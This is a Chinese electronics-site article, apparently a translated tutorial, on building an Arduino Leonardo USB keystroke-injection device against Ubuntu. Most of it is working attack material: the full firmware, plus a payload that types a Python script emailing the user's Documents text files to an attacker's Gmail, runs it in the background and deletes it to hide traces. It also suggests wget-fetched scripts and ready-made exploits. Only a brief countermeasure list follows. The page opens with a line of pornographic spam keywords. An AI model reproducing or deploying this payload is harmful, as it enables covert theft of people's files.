91欧美超碰AV自拍|国产成年人性爱视频免费看|亚洲 日韩 欧美一厂二区入|人人看人人爽人人操aV|丝袜美腿视频一区二区在线看|人人操人人爽人人爱|婷婷五月天超碰|97色色欧美亚州A√|另类A√无码精品一级av|欧美特级日韩特级

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

Arduino鍵盤(pán)漏洞演示及解決辦法

454398 ? 來(lái)源:工程師吳畏 ? 2019-08-07 09:02 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

第1步:材料

零件:

1 。 Arduino leonardo

2。 micro USB讀卡器

3。SD

4。按鈕(VCC,地面和信號(hào)

5??缃与娎|

6。 micro USB轉(zhuǎn)USB電纜

步驟2:構(gòu)建設(shè)備

之前構(gòu)建指令讓我們回顧一下工作原理

Arduino leonardo可以像人機(jī)界面設(shè)備(HID)一樣運(yùn)行,因此可以模擬鼠標(biāo)和鍵盤(pán)。我們將使用此功能打開(kāi)終端(在UBUNTU linux中)并編寫(xiě)一個(gè)小腳本,該腳本將訪問(wèn)用戶主文件夾中的/Documents文件夾復(fù)制.txt文件并將其通過(guò)電子郵件發(fā)送給某人。如果您想了解更多詳細(xì)信息,請(qǐng)查看下一步。

因?yàn)樗且粋€(gè)演示設(shè)備,所以事情非常簡(jiǎn)單,我們不會(huì)焊接任何東西。

構(gòu)建說(shuō)明

1。組裝組件:

*插入arduino中的micro USB線

*將鑰匙開(kāi)關(guān)連接到arduino(接地,vcc和out模塊)至D8)

*將讀卡器連接到arduino(使用ICSP標(biāo)頭)。 Arduino leonardo沒(méi)有將ICSP接頭連接到數(shù)字引腳,因此您需要將讀卡器連接到ICSP接頭。您可以在此處找到ICSP的一些圖紙:https://learn.sparkfun.com/tutorials/installing-an 。..。將SS引腳連接到數(shù)字引腳10

2. 獲取arduino代碼 :

#include “Keyboard.h”

#include “SPI.h”

#include “SD.h”

String filenameOnCard = “hack.txt”;

String sleepCommandStartingPoint = “Sleep::”;

String commandStartingPoint = “Command::”;

int delayBetweenCommands = 10;

const int buttonPin = 8;

const int chipSelect = 10;

int previousButtonState = HIGH;

void setup() {

pinMode(buttonPin, INPUT);

Serial.begin(9600);

Keyboard.begin();

if (!SD.begin(chipSelect)) {

Serial.println(“Card failed, or not present!”);

return;

}

}

void loop() {

int buttonState = digitalRead(buttonPin);

if ((buttonState != previousButtonState) && (buttonState == HIGH)) {

sdFileToKeyboard();

Serial.println(“Uploaded!”);

delay(500);

}

previousButtonState = buttonState;

}

void sdFileToKeyboard() {

File dataFile = SD.open(filenameOnCard);

if (!dataFile) {

Serial.println(“The specified filename is not present on SD card, check filenameOnCard !”);

}

String line;

while (dataFile.available()) {

line = dataFile.readStringUntil(‘ ’);

Serial.println(line);

sendToKeyboard(line);

}

dataFile.close();

}

void sendToKeyboard(String line) {

String workingLine = line;

if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {

sleepFor(line);

return;

}

if (workingLine.indexOf(commandStartingPoint) == -1) {

Serial.print(“Text:”);Serial.println(line);

Keyboard.println(line);

pressEnter();

return;

}

Serial.println(“Command:”);

int charPosition = commandStartingPoint.length();

int lineLength = line.length();

workingLine += “,”;

while (workingLine != “”) {

workingLine = workingLine.substring(charPosition);

Serial.print(“WorkingLine:”);Serial.println(workingLine);

int specialCommandDelimiterPosition = workingLine.indexOf(“,”);

String command = workingLine.substring(0, specialCommandDelimiterPosition);

charPosition = specialCommandDelimiterPosition + 1;

if (command != “”) {

Serial.print(“Command found:”);Serial.println(command);

Keyboard.press(getCommandCode(command));

delay(delayBetweenCommands);

}

}

Keyboard.releaseAll();

delay(delayBetweenCommands);

}

void pressEnter() {

Keyboard.press(KEY_RETURN);

Keyboard.releaseAll();

}

void sleepFor(String line) {

int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();

Serial.print(“Sleeping for:”);Serial.println(sleepAmount);

delay(sleepAmount);

}

char getCommandCode(String text) {

char textCharacters[2];

text.toCharArray(textCharacters, 2);

char code = textCharacters[0];

code = (text == “KEY_LEFT_CTRL”) ? KEY_LEFT_CTRL : code;

code = (text == “KEY_LEFT_SHIFT”) ? KEY_LEFT_SHIFT : code;

code = (text == “KEY_LEFT_ALT”) ? KEY_LEFT_ALT : code;

code = (text == “KEY_UP_ARROW”) ? KEY_UP_ARROW : code;

code = (text == “KEY_DOWN_ARROW”) ? KEY_DOWN_ARROW : code;

code = (text == “KEY_LEFT_ARROW”) ? KEY_LEFT_ARROW : code;

code = (text == “KEY_RIGHT_ARROW”) ? KEY_RIGHT_ARROW : code;

code = (text == “KEY_RIGHT_GUI”) ? KEY_RIGHT_GUI : code;

code = (text == “KEY_BACKSPACE”) ? KEY_BACKSPACE : code;

code = (text == “KEY_TAB”) ? KEY_TAB : code;

code = (text == “KEY_RETURN”) ? KEY_RETURN : code;

code = (text == “KEY_ESC”) ? KEY_ESC : code;

code = (text == “KEY_INSERT”) ? KEY_INSERT : code;

code = (text == “KEY_DELETE”) ? KEY_DELETE : code;

code = (text == “KEY_PAGE_UP”) ? KEY_PAGE_UP : code;

code = (text == “KEY_PAGE_DOWN”) ? KEY_PAGE_DOWN : code;

code = (text == “KEY_HOME”) ? KEY_HOME : code;

code = (text == “KEY_END”) ? KEY_END : code;

code = (text == “KEY_CAPS_LOCK”) ? KEY_CAPS_LOCK : code;

code = (text == “KEY_F1”) ? KEY_F1 : code;

code = (text == “KEY_F2”) ? KEY_F2 : code;

code = (text == “KEY_F3”) ? KEY_F3 : code;

code = (text == “KEY_F4”) ? KEY_F4 : code;

code = (text == “KEY_F5”) ? KEY_F5 : code;

code = (text == “KEY_F6”) ? KEY_F6 : code;

code = (text == “KEY_F7”) ? KEY_F7 : code;

code = (text == “KEY_F8”) ? KEY_F8 : code;

code = (text == “KEY_F9”) ? KEY_F9 : code;

code = (text == “KEY_F10”) ? KEY_F10 : code;

code = (text == “KEY_F11”) ? KEY_F1 : code;

code = (text == “KEY_F12”) ? KEY_F2 : code;

return code;

}

3。將代碼上傳到arduino ,請(qǐng)務(wù)必選擇9600波特率,串口和arduino leonardo

4。 使用FAT16或FAT32格式化SD卡

5。如果您從上面克隆了github repo,復(fù)制卡上的hack.txt文件,如果不是,則下面列出了該文件:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t

Sleep::500

vi hack.py

Sleep::300

Command::KEY_INSERT

import smtplib

import glob, os

from os.path import expanduser

from email.MIMEMultipart import MIMEMultipart

from email.MIMEBase import MIMEBase

from email.MIMEText import MIMEText

from email.Utils import COMMASPACE, formatdate

from email import Encoders

smtp_user = ‘sender_gmail_address’

smtp_pass = ‘sender_gmail_password’

to_address = ‘receiver_address’

scan_documents_location = ‘Documents’

subject = body = ‘Files from hacked computer’

header = ‘To :{0} From : {1} Subject : {2} ’.format(to_address, smtp_user, subject)

def sendMail(to, subject, text, files=[]):

msg = MIMEMultipart()

msg[‘From’] = smtp_user

msg[‘To’] = COMMASPACE.join(to)

msg[‘Date’] = formatdate(localtime=True)

msg[‘Subject’] = subject

msg.attach(MIMEText(text))

for file in files:

part = MIMEBase(‘a(chǎn)pplication’, “octet-stream”)

part.set_payload(open(file,“rb”).read())

Encoders.encode_base64(part)

part.add_header(‘Content-Disposition’, ‘a(chǎn)ttachment; filename=“%s”’

% os.path.basename(file))

msg.attach(part)

server = smtplib.SMTP(‘smtp.gmail.com:587’)

server.starttls()

server.login(smtp_user, smtp_pass)

server.sendmail(smtp_user, to, msg.as_string())

server.quit()

sendMail([to_address], subject, body, glob.glob(“{0}/{1}/*.txt”.format(expanduser(“~”), scan_documents_location)))

Sleep::50

Command::KEY_ESC

Sleep::100

:x

Sleep::500

nohup python hack.py &

Sleep::700

rm -rf hack.py

Sleep::400

Command::KEY_LEFT_ALT,KEY_F4

的 6。修改以下內(nèi)容:

smtp_user = ‘sender_email_addr’

smtp_pass = ‘sender_password’

to_address = ‘receiver_address’

并替換為您的電子郵件地址

7。 取出卡并將其插入arduino讀卡器

步驟3:如何在細(xì)節(jié)中工作

攻擊如何工作:

1。按下按鈕后,leonardo將使用SD卡閱讀器讀取SD卡??ㄉ蠈@示包含按鍵和按鍵組合的特殊文件。文件名是“hack.txt”。

該文件可以包含原始文本,它將按原樣傳遞給鍵盤(pán)。

它還可以包含特殊命令,如“Sleep ::”和“Command ::”。

如下所示的行:

Sleep :: 200表示200 ms的睡眠

如下所示的行

Command :: KEY_LEFT_CTRL,KEY_LEFT_ALT,t表示按住左按鈕,按下左按鈕,按下t按鈕并全部釋放

您可以在此處檢查所有特殊按鍵:https://www.arduino .CC/EN/參考/KeyboardModif 。..

2。萊昂納多將逐行閱讀,并解釋命令并模擬鍵盤(pán)上的鍵。文件“hack.txt”包含執(zhí)行以下操作的鍵組合(對(duì)于UBUNTU linux):

a。打開(kāi)一個(gè)終端(CTRL + ALT + T)

b。使用vi打開(kāi)一個(gè)用于創(chuàng)建的python文件(寫(xiě)入“vi hack.py”

c。寫(xiě)入一個(gè)python腳本,收集文檔主文件夾中的所有文本文件,并將它們發(fā)送到指定的gmail地址

d。在后臺(tái)運(yùn)行文件(“nohup python hack.py&”)

e。刪除文件(rm -rf hack.py)

f。關(guān)閉終端(ALT + F4)

整個(gè)過(guò)程會(huì)在幾秒鐘內(nèi)完成并且不會(huì)留下痕跡。

增強(qiáng)功能和故障排除

*你可能會(huì)注意到,在我打開(kāi)一個(gè)終端后,我正在編寫(xiě)python文件。更好的方法是將它托管在某處并使用“wget some_url”命令下載它,然后將其重命名為hack.py

*我們也可以為目標(biāo)操作系統(tǒng)下載或運(yùn)行現(xiàn)成的漏洞利用

* wifi可以添加到模塊中,黑客可以通過(guò)WIFI上傳

*您可以使用arduino micro(更?。┎⒃谄渖锨度肼┒蠢么a(使其更小)

限制

1。由于模擬設(shè)備(鍵盤(pán)和鼠標(biāo))沒(méi)有任何反饋,我們不知道發(fā)出命令后會(huì)發(fā)生什么,這意味著我們需要使用延遲。例如我發(fā)出一個(gè)打開(kāi)終端的命令,但我不知道它什么時(shí)候會(huì)打開(kāi),所以我需要指定一個(gè)任意的延遲來(lái)確保輸入的字符不會(huì)丟失。

2。我們可能會(huì)遇到許可問(wèn)題,例如無(wú)法訪問(wèn)USB端口或安裝某些內(nèi)容的權(quán)限

3。打字速度對(duì)leonardo而言并不是那么好

4。僅適用于目標(biāo)操作系統(tǒng)(在我們的案例中為UBUNTU linux)

在下一步中將嘗試找到利用此限制的方法來(lái)防止我們的計(jì)算機(jī)被黑客入侵

第4步:對(duì)策

1。禁用USB端口

2。白名單USB設(shè)備:

3。不要以root身份登錄(需要密碼才能安裝任何東西)

4。讓自己保持最新(自動(dòng)更新)

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 漏洞
    +關(guān)注

    關(guān)注

    0

    文章

    205

    瀏覽量

    15962
  • Arduino
    +關(guān)注

    關(guān)注

    190

    文章

    6526

    瀏覽量

    197089
收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    keil5使用中文路徑安裝.pack后綴報(bào)錯(cuò)的解決辦法

    安裝完成 此時(shí)首先需要在keil5文件安裝路徑上改正文件名 此時(shí)再次安裝.pack后綴文件時(shí)可能會(huì)發(fā)現(xiàn)兩個(gè)問(wèn)題:一個(gè)是默認(rèn)打開(kāi)方式改變了: 解決辦法是在keil5安裝路徑下找到
    發(fā)表于 01-22 06:50

    分析嵌入式軟件代碼的漏洞-代碼注入

    驗(yàn)證數(shù)據(jù)是否良好。 為避免格式字符串的漏洞,這些規(guī)則中的第一個(gè)是最合適的; 你可以編寫(xiě)代碼如下: printf(“%s”,str); 這樣,str的內(nèi)容只被視為數(shù)據(jù)。這是最不費(fèi)腦子的辦法,只要你能
    發(fā)表于 12-22 12:53

    調(diào)試報(bào)錯(cuò):timed out waiting for debug int to clear 解決辦法

    掉。 解決辦法: 1. 是下載我提供的N205的mcs,然后在nuclei stduio里面下載蜂鳥(niǎo)v2對(duì)應(yīng)的helloworld程序,記得用flashxip模式,這樣可以把flash里面的內(nèi)容替換成蜂鳥(niǎo)
    發(fā)表于 10-30 07:40

    openocd failed with code (1)的一種解決辦法

    我們發(fā)現(xiàn)此錯(cuò)誤是由于配置中默認(rèn)文件路徑有誤導(dǎo)致的,在默認(rèn)模板中,elf文件的路徑中使用的是“/”,而windows系統(tǒng)默認(rèn)文件路徑是“”,所以導(dǎo)致elf文件無(wú)法識(shí)別而無(wú)法下載。 解決辦法一是手動(dòng)修改
    發(fā)表于 10-27 08:21

    VCS安裝教程及常見(jiàn)問(wèn)題和解決辦法

    解決辦法。 二、問(wèn)題提出及相應(yīng)解決辦法 1、license文件過(guò)期問(wèn)題 大家在網(wǎng)上看到的VCS安裝教程中,都會(huì)附上license文件,并且告訴你如何獲取Host Name等信息。 但有時(shí)獲取
    發(fā)表于 10-27 07:58

    時(shí)序約束問(wèn)題的解決辦法

    slack 計(jì)算如下圖所示: 所以 slakc 為負(fù)數(shù)時(shí),說(shuō)明路徑的組合邏輯延時(shí)過(guò)長(zhǎng)。解決辦法有兩個(gè):第一個(gè)是降低時(shí)鐘頻率,第二個(gè)是將延時(shí)過(guò)長(zhǎng)的組合邏輯拆成兩個(gè)或者多個(gè)時(shí)鐘周期執(zhí)行。 無(wú)論 Setup
    發(fā)表于 10-24 09:55

    硅片超聲波清洗機(jī)操作過(guò)程中常見(jiàn)問(wèn)題及解決辦法

    可能會(huì)遇到各種問(wèn)題,從效率低下到機(jī)械故障,這些問(wèn)題如果不及時(shí)解決,輕則影響產(chǎn)品質(zhì)量,重則停止生產(chǎn),造成巨大損失。因此,了解并掌握這些常見(jiàn)問(wèn)題及其解決辦法,是保證生
    的頭像 發(fā)表于 10-21 16:50 ?1967次閱讀
    硅片超聲波清洗機(jī)操作過(guò)程中常見(jiàn)問(wèn)題及<b class='flag-5'>解決辦法</b>

    車(chē)載攝像頭氣密性檢測(cè)儀操作常見(jiàn)問(wèn)題及解決辦法-岳信儀器

    在車(chē)載攝像頭的生產(chǎn)與質(zhì)量把控中,車(chē)載攝像頭氣密性檢測(cè)儀發(fā)揮著至關(guān)重要的作用。然而,在實(shí)際操作過(guò)程中,常常會(huì)遇到一些問(wèn)題,以下為您詳細(xì)介紹常見(jiàn)問(wèn)題及對(duì)應(yīng)的解決辦法。(1)檢測(cè)結(jié)果不穩(wěn)定檢測(cè)結(jié)果不穩(wěn)定
    的頭像 發(fā)表于 10-17 14:30 ?431次閱讀
    車(chē)載攝像頭氣密性檢測(cè)儀操作常見(jiàn)問(wèn)題及<b class='flag-5'>解決辦法</b>-岳信儀器

    在學(xué)習(xí)D13的芯片配置,為什么我vscode,一堆爆紅,看著好煩,有沒(méi)有解決辦法

    在學(xué)習(xí)D13的芯片配置,為什么我vscode,一堆爆紅,看著好煩,有沒(méi)有解決辦法
    發(fā)表于 08-22 20:02

    單向閥氣密性檢測(cè)儀常見(jiàn)故障及解決辦法

    單向閥氣密性檢測(cè)儀在工業(yè)生產(chǎn)中起著至關(guān)重要的作用,然而在使用過(guò)程中難免會(huì)出現(xiàn)一些故障。了解常見(jiàn)故障及其解決辦法,能有效提高設(shè)備的使用效率和檢測(cè)準(zhǔn)確性。一、檢測(cè)結(jié)果不準(zhǔn)確故障表現(xiàn)檢測(cè)數(shù)據(jù)波動(dòng)
    的頭像 發(fā)表于 06-30 14:01 ?649次閱讀
    單向閥氣密性檢測(cè)儀常見(jiàn)故障及<b class='flag-5'>解決辦法</b>

    熱電偶隔離器溫度誤差的原因和解決辦法

    熱電偶隔離器溫度誤差的原因有多種,以下是對(duì)這些原因及相應(yīng)解決辦法的詳細(xì)分析: 一、溫度誤差原因 1. 接線錯(cuò)誤: ? ? 熱電偶輸入的正負(fù)極如果接線錯(cuò)誤,會(huì)導(dǎo)致現(xiàn)場(chǎng)輸出溫度有很大的誤差。 2. 導(dǎo)線
    的頭像 發(fā)表于 04-17 15:58 ?1854次閱讀
    熱電偶隔離器溫度誤差的原因和<b class='flag-5'>解決辦法</b>

    錫膏印刷機(jī)總出問(wèn)題?老工程師總結(jié) 7 大常見(jiàn)問(wèn)題及解決辦法

    本文分享錫膏印刷機(jī)常見(jiàn) 7 大不良及解決辦法:高頻問(wèn)題包括塌陷(壓力 / 黏度 / 錫粉)、偏位(PCB 固定 / 鋼網(wǎng)精度)、漏印(速度 / 黏度 / 開(kāi)孔)、凹陷(壓力 / 清潔),補(bǔ)充橋連
    的頭像 發(fā)表于 04-15 08:51 ?1790次閱讀
    錫膏印刷機(jī)總出問(wèn)題?老工程師總結(jié) 7 大常見(jiàn)問(wèn)題及<b class='flag-5'>解決辦法</b>

    變頻器對(duì)PLC和步進(jìn)電機(jī)干擾的主要原因和解決辦法

    、信號(hào)輸入和輸出工作失常,同時(shí)也可能使步進(jìn)電機(jī)產(chǎn)生震動(dòng)和運(yùn)行失步。以下是對(duì)變頻器干擾PLC和步進(jìn)電機(jī)的主要原因及解決辦法的詳細(xì)分析: 一、主要原因 1. 變頻器性能:性能較差的變頻器可能產(chǎn)生更大的干擾。 2. 諧波干擾:變頻器在整流
    的頭像 發(fā)表于 04-10 07:34 ?1798次閱讀
    變頻器對(duì)PLC和步進(jìn)電機(jī)干擾的主要原因和<b class='flag-5'>解決辦法</b>

    存儲(chǔ)示波器的觸發(fā)問(wèn)題及解決辦法

    解決辦法與操作指南1. 無(wú)法觸發(fā) 檢查觸發(fā)閾值: 調(diào)整閾值至信號(hào)幅度的50%-70%(例如,信號(hào)幅度為2V,則設(shè)置閾值為1V)。 選擇匹配的觸發(fā)模式: 簡(jiǎn)單信號(hào)用邊沿觸發(fā);復(fù)雜信號(hào)用脈寬觸發(fā)或邏輯
    發(fā)表于 04-09 14:39

    GPS北斗定位模塊問(wèn)題及解決辦法

    GPS北斗定位模塊使用上大多需要配置和設(shè)置下的,因此出現(xiàn)應(yīng)用方面的問(wèn)題也是可以理解的。以下是常見(jiàn)的問(wèn)題及其解決辦法: 一、搜不到信號(hào) 問(wèn)題描述: 在家或個(gè)別位置無(wú)法接收到GPS或北斗定位模塊的信號(hào)
    的頭像 發(fā)表于 03-30 07:37 ?3639次閱讀